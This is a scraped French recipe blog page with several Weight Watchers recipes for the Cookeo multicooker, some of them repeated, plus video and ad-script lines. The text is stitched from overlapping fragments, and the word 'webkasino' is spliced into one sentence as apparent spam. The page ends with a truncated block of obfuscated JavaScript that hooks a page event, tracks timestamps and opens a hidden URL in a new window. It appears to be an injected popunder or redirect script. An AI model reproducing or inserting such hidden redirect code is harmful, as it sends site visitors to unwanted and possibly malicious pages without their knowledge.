Fiche recette cookeo : boeuf forestier weight watchers 7 PP

Découvrez cette  recette cookeo  de boeuf forestier weight watchers.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

1000 RECETTES COOKEO ICI

[youtube https://www.youtube.com/watch?v=oMlHzKQds1Y]
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Découvrez cette  recette cookeo  de coquillettes sauce poireaux weight webkasino watchers.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

[youtube https://www.youtube.com/watch?v=aOlSSorates]
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Rôti de porc au cidre weight watchers

Rôti de porc au cidre weight watchers

Ingrédients pour 6 personnes

1 rôti de porc dans le filet (480 gr) 

2 échalotes

 6 petites pommes

 1 petite boite de champignons de Paris émincés

3 cc de margarine végétale à 60 %

 33 cl de cidre brut

1 bouquet garni

1 cc de fond de veau

3 CS de crème à 5%

Sel poivre

Préparation    

Mode dorer

Faites dorer le rôti dans le cookeo  avec la margarine  et ajouter les échalotes   .Puis mettrez  tous les ingrédients    

 Cuisson sous pression  ou cuisson rapide  18 minutes 

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Découvrez cette fiche de recette cookeo de fausse marmite espagnole weight watchers  .Vous pouvez créer un PDF de l’article ou l’imprimer en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

1000 RECETTES COOKEO ICI

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Porc à l’aigre doux  cookeo 3 PP

Ingrédients pour 4 personnes

400 g de filet mignon découpé en languettes

 3 poivrons (rouge, jaune, vert) coupés en lamelles

 3 gousses d’ail hachées et dégermées

 3 oignons blancs émincés

1 tomate coupée en dés

 20 cl de bouillon de volaille

 2 cuillères à soupe d’édulcorant de cuisson

2 cuillères à café de vinaigre de xérès

 2 cuillères à soupe de sauce soja

1 cuillère à soupe de gingembre râpé

 1 cuillère à soupe de fécule

2 cuillères à café d’huile d’arachide

Coriandre ciselée

 Sel et poivre

Préparation  de ce porc aigre doux :  

Roulez les languettes de viande dans la fécule 

Mode « Dorer »

Versez l’huile dans la cuve faites  dorer les languettes de viande, salez, poivrezet réservez

Faites  dorer les oignons, les poivrons, la tomate quelques minutes et ajoutez  l’ail

Versez dans la cuve les 20 cl de bouillon de volaille, l’édulcorant, le vinaigre, la sauce soja et le gingembre, bien mélanger le tout

Arrêtez le mode « Dorer » Ajoutez les languettes de viande 

Mode « Cuisson rapide » ou « Cuisson sous pression »

DémarreZ la cuisson – 6 minutes – 

A moment de servir, saupoudrez de coriandre ciselée. Servez chaud.

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Découvrez cette fiche de recette cookeo d’émincés de poulet à la tomate  .Vous pouvez créer un PDF de l’article ou l’imprimer en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

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Découvrez cette  recette cookeo  de risotto jambon weight watchers.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

//
[youtube https://www.youtube.com/watch?v=i0_qXTZ2Gjw]
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Fausse marmite espagnole weight watchers

Ingrédients pour 4 personnes

8  knacks de poulet

200 g de lanières de poivron congelées

100 g d’oignons congelés

160 gr de riz

1 cuillère à café de  cumin

1 cuillère à café de  paprika

400 ml d’eau

1 bouillon cube de volaille

8  tomates cerise

Sel, poivre

Préparation

Mode dorer

Faites revenir dans une cuillère à café d’huile d’olive les oignons, puis  les lanières de poivron.

Ajoutez ensuite les knacks de poulet coupées en rondelles et les tomates cerises  que vous avez lavez et  coupées en 2.

Versez les cuillères à café de cumin ainsi que de paprika.

Versez les 400 ml d’eau avec le bouillon de cube de volaille que vous avez émietté.

Salez et poivrez comme bon vous semble.

Mode cuisson rapide ou cuisson sous pression

Programmez 6 mn (tenez compte du temps indiqué sur le paquet de riz et divisez par 2)

Servez chaud.
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Recette cookeo  filet mignon au boursin weight watchers

Calories : 180  4 PP  5 SP

Voici une recette qui va certainement vous ravir. Très rapide et trés simple à réaliser .

Ingrédients pour 4 personnes

1 filet mignon

1 cube de bouillon de bœuf

100 g de Boursin

200 ml d’eau

Sel

Poivre

1cuillère à café d’huile d’olive

2 cuillères à soupe de maïzena

Préparation

Mode dorer

Faites revenir le filet mignon avec de l’huile .

Réservez le filet mignon lorsqu’il est doré sur toutes ses faces.

Versez alors l’eau avec le cube de bouillon de bœuf et mélangez avec le Boursin jusqu’à obtenir un mélange homogène.

Redéposez le filet mignon dans la cuve .

Cuisson rapide ou  sous pression

Programmez 15 mn de cuisson

Repassez en mode dorer

Quand la cuisson est terminée réservez le filet mignon  et coupez le en tranches pendant que vous épaississez la sauce avec 2 cuillères à café de maîzena.Quand la sauce a épaissi replongez les tranches de filets mignon pendant 2 mn et servez chaud .

[youtube https://www.youtube.com/watch?v=AIaSpYcVZMQ]
[youtube https://www.youtube.com/watch?v=AIaSpYcVZMQ]
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Weight watchers au cookeo : Fausse marmite espagnole

Une recette inspirée du Blog La cuisine de Boomy . http://lacuisinedeboomy.over-blog.com/fausse-marmite-espagnole-ww-au-cookeo

Ingrédients pour 4 personnes

8  knacks de poulet

200 g de lanières de poivron congelées

100 g d’oignons congelés

160 gr de riz

1 cuillère à café de  cumin

1 cuillère à café de  paprika

400 ml d’eau

1 bouillon cube de volaille

8  tomates cerise

Sel, poivre

Préparation

Mode dorer

Faites revenir dans une cuillère à café d’huile d’olive les oignons, puis  les lanières de poivron.

Ajoutez ensuite les knacks de poulet coupées en rondelles et les tomates cerises  que vous avez lavez et  coupées en 2.

Versez les cuillères à café de cumin ainsi que de paprika.

Versez les 400 ml d’eau avec le bouillon de cube de volaille que vous avez émietté.

Salez et poivrez comme bon vous semble.

Mode cuisson rapide ou cuisson sous pression

Programmez 6 mn (tenez compte du temps indiqué sur le paquet de riz et divisez par 2)

Servez chaud.

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Comme vous avez pu le remarquez je publie souvent des recettes que j’ai  réalisées, je partage des recettes de blogs ou pages diverses que je trouve de qualité. Tout ça finalement pour que chacun puisse trouver les idées de repas pour notre quotidien. En ce qui concerne la recette de marmite espagnole je dois dire que j’en ai vu de nombreuses versions. Alors pour cette fois je fais le choix de cette  version de marmite espagnole weight watchers qui allie goût et équilibre alimentaire. Cette recette est proposée pour 9 pp les spécialistes weight watchers comprendront.

Ingrédients pour 4 personnes

400 g d’escalopes  de poulet en morceaux

200 g  oignons émincés congelés

400 g de lanières de poivron congelées

100 g de chorizo en rondelles

120 g  de riz

60  g d’allumettes de bacon

 300 g de courgettes congelées

1 cube de bouillon de bœuf

300 ml d’eau  

 1 c à café de cumin

 1 c à café de paprika

1 ou 2 pincée (s) de piment de Cayenne

Huile d’olive

Préparation de cette marmite espagnole

Mode dorer

Versez de l’huile d’olive dans la cuve et faites dorer les oignons, puis les morceaux d’escalopes de poulet.

Ajoutez ensuite les lanières de poivrons, les rondelles de courgettes les allumettes de bacon et les rondelles de chorizo.

Versez le riz et les cuillères de cumin, paprika et une ou 2 pincées de piment.

Versez 300 ml d’eau  et le cube de bouillon de bœuf.

Mode cuisson rapide ou sous pression

Programmez 10 mn.
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Téléchargez gratuitement le PDF de cette recette cookeo de coquillettes Boursin style weight watchers en cliquant sur l’image ou ICI
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Coquillettes Boursin la recette :

Ingrédients  pour 6 personnes:

500 g d’émincés  de poulet

1 cube de bouillon bœuf

 1 verre de vin blanc

450 g de  coquillettes

100 g de Boursin

Sel

Poivre

Préparation  de ces coquillettes Boursin:  

Découpez en morceaux les émincés de poulet Déposez les dans la cuve.

Ajoutez dans la cuve les morceaux  de poulet, les coquillettes, le  verre de vin blanc.

Emiettez le cube de bouillon de bœuf, versez de l’eau pour recouvrir les ingrédients.

En mode « Cuisson rapide » ou « Cuisson sous pression » programmez 5 mn.

Quand la cuisson est terminée  ajoutez le Boursin  et mélangez pour servir chaud.

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[youtube https://www.youtube.com/watch?v=kqxzpcWILfc]
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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());